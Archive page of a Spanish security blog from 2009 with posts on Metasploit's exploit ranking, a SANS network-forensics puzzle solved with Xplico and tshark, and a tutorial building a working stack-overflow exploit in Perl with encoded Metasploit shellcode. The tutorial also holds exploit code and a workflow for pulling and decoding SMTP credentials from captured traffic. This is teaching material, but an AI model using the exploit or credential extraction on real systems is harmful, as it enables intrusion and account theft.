jueves, 31 de diciembre de 2009

Feliz Day Overflow

#include "yearday.h"

YearDay iDay = 0; /* tipo de dato YearDay, sin signo de 0 a 365, evidentemente :P */

int main()
{
while (1)
{
iDay++;
if ( iDay == 0 )
printf("Feliz Año!\n");
}
return 0;
}

Pues eso, que Feliz Año Nuevo!! :P

miércoles, 23 de diciembre de 2009

Metasploit 3.3.3 y su Exploit Ranking

Como si de un regalo de navidad adelantado se tratara, el equipo de desarrollo de Metasploit Framework ha liberado esta mañana la versión 3.3.3 de su conocido framework de explotación.

Entre las novedades más interesantes nos encontramos con algo que siempre he echado de menos en la información proporcionada en los exploits, que es que exista una cierta clasificación de la calidad de los exploits, es decir, si es un exploit "cogido con pinzas" y cuya explotación es complicada o puede tumbar el servicio, o si por contra se trata de un exploit "de guante blanco", osea, que vamos a explotar, entrar, buscar, coger y salir sin que nadie se percate de nada.

Pensando en ello, el equipo de Metasploit ha creado el Exploit Ranking, una clasificación que divide los exploits en 7 categorías, de más calidad a menos calidad:
  1. Excelent
  2. Great
  3. Good
  4. Normal
  5. Average
  6. Low
  7. Manual
En la categoría "Normal" o superior, según la descripción realizada por Metasploit, podemos encontrar aquellos exploits con los que podemos obtener buenos resultados, mientras que por debajo de esta categoría podemos obtener bastantes problemas.

La manera en la que Metasploit clasifica cada exploit es por medio del propio código del exploit, mediante el uso de la variable Rank:

$ cat ms08_067_netapi.rb
[...]
require 'msf/core'

class Metasploit3 <>
Rank = GreatRanking
[...]

Como podemos imaginar, esta manera de manejarlo puede resultar muy útil, puesto que podremos modificar dicha clasificación en base a nuestra experiencia o a las modificaciones que hagamos del exploit para hacerlo más factible de cara a nuestro entorno, por ejemplo modificandolo para sistemas en Español en lugar de sistemas en Inglés.

Para por ejemplo buscar los exploit limitándolos según esta clasificación podemos usar el mismo comando "search" de siempre pero con la opción "-r", de la siguiente manera:

msf > search -r great netapi
[*] Searching loaded modules for pattern 'netapi'...
Exploits

========
Name Rank Description

---- ---- -----------

windows/smb/ms08_067_netapi great Microsoft Server Service Relative Path Stack Corruption

windows/smb/ms06_040_netapi great Microsoft Server Service NetpwPathCanonicalize Overflow


De momento, puesto que la release acaba de salir, no hemos tenido oportunidad de jugar con esta nueva funcionalidad a fondo, pero desde luego lo vamos a hacer :) .

Podemos acceder a toda la información directamente a través de la noticia publicada en el blog de metasploit.

NOTA: Aprovecho para desear a todos los lectores del Pentester.es una Feliz Navidad!

lunes, 21 de diciembre de 2009

Solución Reto Forensics: Ann Skips Bail

Como comentábamos en el anterior post, tenemos un fichero PCAP del que tenemos que extraer la máxima información posible para intentar averiguar donde se ha fugado Ann tras salir bajo fianza.

Evidentemente, la cantidad de posibilidades para resolver este reto son cuasi-infinitas, algunas más manuales, otras menos manuales, quizá algunas más eficientes que otras, pero el objetivo es conseguir el máximo de información en el mínimo tiempo posible.

Siendo un fichero PCAP pequeño, es muy factible abrirlo "a saco" con Wireshark y ver que es lo que hay, además el reto ya nos dice que lo que buscamos es un correo electrónico, por lo que nos está acotando mucho. Sin embargo, al realizar un análisis real no dispondríamos de toda esta información, así que tendríamos una captura de red mucho más grande y no sabríamos demasiado bien que tendríamos que buscar. Sería como buscar "una aguja en un pajar" pero peor aún, porque ni siquiera sabemos si lo que tenemos que encontrar es una aguja, o palillo, o cualquier otra cosa.

Para ayudarnos en este, existen programas que nos pueden sacar el tipo de tráfico que hay en el PCAP y mostrarlo clasificado. Yo concretamente, he aprovechado este reto para probar una herramienta llamada XPlico, utilizada como parte del Framework de análisis forense DEFT. Es posible que utilizar XPlico no sea la opción más elegante ni la mejor, pero desde mi punto de vista es bastante aceptable, y así aprovecho para presentar esta herramienta.

Una vez instalado Xplico, accederemos a la web de gestión a través del puerto 9876, utilizando el nombre de usuario "deft" y contraseña "xplico", como dice en la propia web de login. Una vez hecho login crearemos un "New Case" (nuevo caso) que sería nuestra investigación actual y a partir de ahí una "New Session" (nueva sesión), que sería ya la captura concreta que hemos realizado. Una vez creada la sesión tendremos que subir el fichero PCAP, para ello iremos a la zona de la derecha donde pone "pcap set" y examinaremos para buscar nuestro fichero, pulsando "Upload" para finalizar. Una vez subido el fichero nos aparecerá un mensaje "File uploaded, wait start decoding...". Es probable que tengamos que refrescar la web para ver el contenido real. Veremos algo así:



Como podemos ver, Xplico detecta 2 correos electrónicos y 1 resolución de nombres. Además de eso, debería poder detectar todas las webs visitadas, FTPs accedidos y un largo etcétera. Sin embargo, es cierto que Xplico no detecta todos los tipos de tráfico del mundo, por eso no está de más que realicemos una pequeña comprobación. Para ello, podriamos utilizar Wireshark para ver las llamadas "conversaciones" presentes en la captura, pero partiendo de la base de que podría tratarse de un fichero razonablemente grande y para evitarnos el desespero de manejarlo con una herramienta gráfica como Wireshark, vamos a utilizar a su hermano de la linea de comandos, el TShark. Veamos entonces las conversaciones ip, tcp y udp:

# tshark -r evidence02.pcap -n -z conv,ip
[...]
| <- | | -> | | Total |
| Frames Bytes | | Frames Bytes | | Frames Bytes |
192.168.1.159 <-> 64.12.102.142 255 14792 235 299979 490 314771
192.168.1.30 <-> 192.168.1.10 26 6500 2 180 28 6680
192.168.1.255 <-> 192.168.1.159 16 2007 0 0 16 2007
192.168.1.255 <-> 192.168.1.10 4 360 0 0 4 360
192.168.1.159 <-> 192.168.1.30 0 0 2 519 2 519
192.168.1.159 <-> 10.1.1.20 1 299 1 72 2 371

# tshark -r evidence02.pcap -n -z conv,tcp
[...]
| <- | | -> | | Total |
| Frames Bytes | | Frames Bytes | | Frames Bytes |
192.168.1.159:1038 <-> 64.12.102.142:587 233 13093 221 297720 454 310813
192.168.1.159:1036 <-> 64.12.102.142:587 22 1699 14 2259 36 3958

# tshark -r evidence02.pcap -n -z conv,udp
[...]
| <- | | -> | | Total |

| Frames Bytes | | Frames Bytes | | Frames Bytes |

192.168.1.10:52111 <-> 192.168.1.30:514 0 0 24 6320 24 6320
192.168.1.255:137 <-> 192.168.1.159:137 12 1104 0 0 12 1104
192.168.1.30:123 <-> 192.168.1.10:123 2 180 2 180 4 360
192.168.1.255:138 <-> 192.168.1.159:138 4 903 0 0 4 903
192.168.1.255:123 <-> 192.168.1.10:123 4 360 0 0 4 360
192.168.1.159:1025 <-> 192.168.1.30:514 0 0 2 519 2 519
192.168.1.159:1026 <-> 10.1.1.20:53 1 299 1 72 2 371


Como podemos observar, además de los dos correos enviados y de la resolución de nombres encontrada por Xplico, tenemos algunas otras conexiones UDP que no han aparecido en el análisis de esta herramienta, y que podriamos estraer de la captura para un análisis más manual.

De momento, puesto que lo más sencillo es mirar lo que sí ha detectado Xplico, vamos a pegarle un vistazo a esos dos correos, así que vamos a volver al interface gráfico de Xplico a ver que información nos ofrece:





Como se puede ver en las capturas, Xplico nos muestra el origen, destinatario, mensaje y archivos adjuntos, lo cual nos proporciona una manera cómoda de obtener dicha información sin tener que deshacer la codificación base64 del adjunto ni nada similar.

En este caso, vemos como Ann escribe a su amante, con correo mistersecretx@aol.com diciendole que quedan en el lugar indicado en el adjunto, y que lleve su pasaporte y su bolsa de aseo. Si descargamos el adjunto y lo abrimos veremos que tiene la siguiente imagen:



Como se puede observar, la ciudad de Playa del Carmen en México ha sido el lugar elegido por Ann para encontrarse con su amante. Además, en el mismo cuerpo del documento podemos leer "Meet me at the fountain near the rendezvous point. Address bellow. I'm bringing all the cash", que traducido al español quiere decir: "Nos encontraremos en la fuente junto al punto de encuentro. La dirección está debajo (la de la imagen). Llevo todo el dinero".

De momento la cosa va bien, así sin complicarnos mucho la vida sabemos donde se van a encontrar Ann y su amante y sabemos que ella va a llevar todo el dinero, así que si les pillamos lo haremos con las manos en la masa.

Sin embargo, hay cosas que aún no sabemos, y es por ejemplo CUÁNDO van a verse, ya que en la información no se puede ver una fecha para quedar en ningún momento, y aunque se sale de las preguntas que hace el reto de SANS, es algo que si se tratase de un reto real yo sí me preguntaría. Para ello, vamos a intentar obtener algo más de información de la que nos proporciona Xplico, empezando por los correos electrónicos.

El envío de correo electrónico por SMTP es posible hacerlo con autenticación o sin autenticación, y dado que el correo que hemos analizado ha sido enviado sin cifrar, en el caso de que haya utilizado autenticación, podremos ver la contraseña utilizada en claro, pudiendo de esta manera acceder a la cuenta de correo de Ann, donde es posible que podamos obtener mucha más información anterior a la monitorización de su linea. Para ello vamos a quedarnos solo con la comunicación de alguno de los correos y vamos a observar las primeras lineas, con el fin de extraer el proceso de autenticación:

# tcpdump -r evidence02.pcap -s 0 -w correo.pcap port 1038 and port 587
# tshark -r correo.pcap -n | head -20
1 0.000000 192.168.1.159 -> 64.12.102.142 TCP 1038 > 587 [SYN] Seq=0 Win=64240 Len=0 MSS=1460

2 0.111116 64.12.102.142 -> 192.168.1.159 TCP 587 > 1038 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460

3 0.111462 192.168.1.159 -> 64.12.102.142 TCP 1038 > 587 [ACK] Seq=1 Ack=1 Win=64240 Len=0

4 0.282720 64.12.102.142 -> 192.168.1.159 SMTP Response: 220 cia-mc07.mx.aol.com ESMTP mail_cia-mc07.1; Sat, 10 Oct 2009 15:37:56 -0400

5 0.283746 192.168.1.159 -> 64.12.102.142 SMTP Command: EHLO annlaptop

6 0.284189 64.12.102.142 -> 192.168.1.159 TCP 587 > 1038 [ACK] Seq=81 Ack=17 Win=64240 Len=0

7 0.396057 64.12.102.142 -> 192.168.1.159 SMTP Response: 250-cia-mc07.mx.aol.com host-69-140-19-190.static.comcast.net

8 0.397784 192.168.1.159 -> 64.12.102.142 SMTP Command: AUTH LOGIN

9 0.398285 64.12.102.142 -> 192.168.1.159 TCP 587 > 1038 [ACK] Seq=332 Ack=29 Win=64240 Len=0

10 0.506142 64.12.102.142 -> 192.168.1.159 SMTP Response: 334 VXNlcm5hbWU6

11 0.507100 192.168.1.159 -> 64.12.102.142 SMTP Command: c25lYWt5ZzMza0Bhb2wuY29t

12 0.507551 64.12.102.142 -> 192.168.1.159 TCP 587 > 1038 [ACK] Seq=350 Ack=55 Win=64240 Len=0

13 0.618061 64.12.102.142 -> 192.168.1.159 SMTP Response: 334 UGFzc3dvcmQ6

14 0.618922 192.168.1.159 -> 64.12.102.142 SMTP Command: NTU4cjAwbHo=

15 0.619472 64.12.102.142 -> 192.168.1.159 TCP 587 > 1038 [ACK] Seq=368 Ack=69 Win=64240 Len=0

16 0.741622 64.12.102.142 -> 192.168.1.159 SMTP Response: 235 AUTHENTICATION SUCCESSFUL

17 0.745296 192.168.1.159 -> 64.12.102.142 SMTP Command: MAIL FROM:
18 0.745789 64.12.102.142 -> 192.168.1.159 TCP 587 > 1038 [ACK] Seq=399 Ack=102 Win=64240 Len=0
19 0.862648 64.12.102.142 -> 192.168.1.159 SMTP Response: 250 OK
20 0.863473 192.168.1.159 -> 64.12.102.142 SMTP Command: RCPT TO:


Hemos tenido suerte, el correo ha sido mandado utilizando autenticación, por lo que ahora mismo tenemos el siguiente tráfico "petición -> respuesta":

VXNlcm5hbWU6 -> c25lYWt5ZzMza0Bhb2wuY29t
UGFzc3dvcmQ6 -> NTU4cjAwbHo=


Como podemos observar, las cadenas se encuentran codificadas en Base64. Decodificándolas mediante cualquier web, Burp o comando "base64" de unix, obtenemos lo siguiente:

Username: -> sneakyg33k@aol.com
Password: -> 558r00lz


Un ejemplo de las maneras de obtenerlo por linea de comandos en un linux:

# echo "c25lYWt5ZzMza0Bhb2wuY29t" | base64 -d
sneakyg33k@aol.com


Bueno, pues ya tenemos algo más, ahora además sabemos que usa una cuenta de AOL con usuario sneakyg33k@aol.com y con contraseña 558roolz (menuda auto-propaganda que se hacen los de SANS :P) donde podriamos entrar a buscar más información.

Por último, nos quedaría algo más de información que, sin ser tan relevante como esta, nunca se sabe si podría resultar útil, como por ejemplo la que podemos extraer del tráfico UDP que mencionamos antes, como versión del Windows utilizado, por ejemplo.

Para acabar, me gustaría referenciar a uno de los dos ganadores del reto de SANS, que tras leer su solución es la que más me ha gustado, ya que ha creado un par de herramientas muy muy completas para ayudarle a resolver el reto que nos pueden resultar muy útiles a todos nosotros en el futuro.

jueves, 10 de diciembre de 2009

Reto Forensics: Ann Skips Bail

De entre la cantidad de cursos que tiene el SANS Institute, uno de ellos, el SEC558 Network Forensics, es el destinado a la realización de Análisis Forense de Red. Además del curso, SANS tiene una web llamada Network Forensics Puzzle Contest en la que de vez en cuando plantea retos forenses.

Por el momento los retos son sencillos de sacar, pero la dificultad radica en que el ganador es aquel que plantea la solución más elegante, generalmente desarrollando alguna pequeña herramienta que le ayude a resolver el reto. Sin embargo, aunque no aspiremos a ganar el reto, es muy útil probar con estos retos sencillos.

Hace unas semanas se publicó en esa misma web el segundo reto, y aquí es donde entramos al trapo... Dice tal que así:

Después de haber sido soltada bajo fianza, Ann Dercover desaparece! Afortunadamente su conexión de red estaba siendo monitorizada antes de que saliera de la ciudad.

"Creemos que Ann se podría haber comunicado con su amante secreto, Mr. X, antes de irse", dijo el jefe de policía. La captura de red puede contener pistas sobre su paradero.

Tú eres el investigador forense. Tu misión es averiguar donde se ha ido Ann y la máxima información posible contenida en la captura de red que pueda ayudar a la investigación.

En el reto original hay una serie de preguntas que hay que contestar, pero no las he puesto porque me parece que dan muchas pistas y lo ponen muy fácil, así que el que quiera puede hacer trampas y mirar la versión original del reto o incluso la solución, pero lo interesante es aprender a hacer el camino necesario para obtener esa información :)

En un par de días pondré mi solución al reto, explicando las herramientas que utilicé y todo el proceso.

martes, 1 de diciembre de 2009

Exploting (II): Stack Overflow Simple (y III)

La semana pasada nos quedabamos a punto de conseguir explotar una vulnerabilidad en nuestro código de ejemplo y ejecutar código. Por el momento habiamos conseguido averiguar como sobreescribir la dirección de retorno en la pila y con que dirección la tenemos que cambiar para que acabe ejecutandose nuestro shellcode, por el momento un montón de NOPs seguidos de un INT 3, y funcionaba! La lógica nos dice que ahora solo tenemos que generar un shellcode y substituirlo por el shellcode de prueba que hemos usado, ¿verdad?

¿Cómo construimos un shellcode? De nuevo metasploit nos soluciona la papeleta con su comando msfpayload. Este comando nos permite generar cualquiera de los payloads presentes en Metasploit en formato exe, perl, python y un largo etc. En nuestro caso, vamos a generar un payload del tipo "windows/exec" para ejecutar un "calc.exe" (típico caso de ejemplo):

# cd /pentest/exploits/framework3
# ./msfpayload windows/exec CMD=calc.exe Perl

# windows/exec - 121 bytes

# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
my $buf = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
[...]


Ya empezamos otra vez con los problemas... resulta que el shellcode contiene caracteres nulos, osea que si lo intentamos añadir tal cual no se copiará entero y no funcionará. Además de caracteres nulos, el shellcode, debido a su tamaño, podría contener otro tipo de caracteres "malos", así que lo mejor es hacerle un encoding de tal forma que controlemos el tipo de caracteres.

Para ello vamos a usar otra de los comandos que vienen con Metasploit, el msfencode, al que le podemos definir una serie de caracteres que queremos evitar o directamente darle una codificación para que no se salga de ahí. En nuestro caso, dado que lo que estamos explotando es una cadena, elegimos el encoding x86/alpha_mixed, es decir, letras mayúsculas o minúsculas, que es un tipo de caracteres que seguro que no nos da problemas. Para ello hay que cambiar el tipo de dato de salida de msfpayload a "Raw" (plano) y pasarle su salida a la entrada estandar de msfencode, al cual ya le diremos que nos de la salida en Perl:

# ./msfpayload windows/exec CMD=calc Raw | ./msfencode -e x86/alpha_mixed -t perl
[*] x86/alpha_mixed succeeded, final size 297


Bueno, ahora ya tememos nuestro nuevo shellcode, bastante más grande que el anterior (297 bytes contra 121 bytes) pero eso es algo normal cuando se hace encoding. Nuestro nuevo shellcode es un código binario equivalente al anterior pero en que todos los bytes se corresponden con el código ASCII de un caracter, lo cual nos va a permitir utilizarlo sin temor a que se corte al ser copiado y no nos funcione. Vamos a inyectarlo entonces en nuestro perl para generar el exploit:

#!/usr/bin/perl
# EXPLOIT DE PRUEBAS - jselvi

# Auxiliares, para entendernos mejor...
my $nop = "\x90";
my $breakpoint = "\xcc";

# PARTES DEL EXPLOIT
my $relleno = $nop x 60;
my $eip = pack("V", 0x77C21025);
my $muelle = $nop x 50;

# SHELLCODE DE METASPLOIT (calc.exe)
my $shellcode =
"\x89\xe1\xdd\xc3\xd9\x71\xf4\x59\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x45\x50\x45\x50\x45" .
"\x50\x4c\x4b\x50\x45\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44" .
"\x38\x43\x31\x4a\x4f\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51" .
"\x4f\x51\x30\x45\x51\x4a\x4b\x47\x39\x4c\x4b\x47\x44\x4c" .
"\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c\x4b" .
"\x34\x49\x50\x43\x44\x45\x57\x49\x51\x48\x4a\x44\x4d\x43" .
"\x31\x48\x42\x4a\x4b\x4a\x54\x47\x4b\x51\x44\x46\x44\x43" .
"\x34\x42\x55\x4d\x35\x4c\x4b\x51\x4f\x47\x54\x45\x51\x4a" .
"\x4b\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45" .
"\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51\x4a" .
"\x4b\x4d\x59\x51\x4c\x51\x34\x45\x54\x49\x53\x51\x4f\x50" .
"\x31\x4a\x56\x43\x50\x46\x36\x43\x54\x4c\x4b\x47\x36\x50" .
"\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e" .
"\x4d\x4c\x4b\x42\x48\x44\x48\x4b\x39\x4c\x38\x4d\x53\x49" .
"\x50\x43\x5a\x46\x30\x42\x48\x4c\x30\x4d\x5a\x43\x34\x51" .
"\x4f\x42\x48\x4d\x48\x4b\x4e\x4d\x5a\x44\x4e\x50\x57\x4b" .
"\x4f\x4b\x57\x43\x53\x45\x31\x42\x4c\x42\x43\x45\x50\x45" .
"\x5a\x41\x41";

# CONSTRUIMOS EXPLOIT
my $exploit = $relleno.$eip.$muelle.$shellcode;

# LANZAMOS EXPLOIT
my $file = "exploit.txt";
open( $FILE, ">$file" );
print $FILE $exploit;
close( $FILE );

print "Fichero exploit.txt creado\n";


Ahora lo ejecutamos para generar nuestro exploit.txt, nos vamos a nuestra máquina con nuestro código de prueba vulnerable y lo lanzamos de la siguiente manera (ya no hace falta OllyDbg):

> type exploit.txt | bof.exe



BINGO! YA LO TENEMOS! :)

Cambiando el shellcode utilizado por otro más... "maléfico" podemos hacer todo tipo de acciones en la máquina. Incluso podemos darle potencia a nuestro exploit y codificarlo en un módulo de metasploit para poder irle cambiando el payload a nuestro antojo sin tener que repetir cada vez estos pasos. Pero eso para más adelante.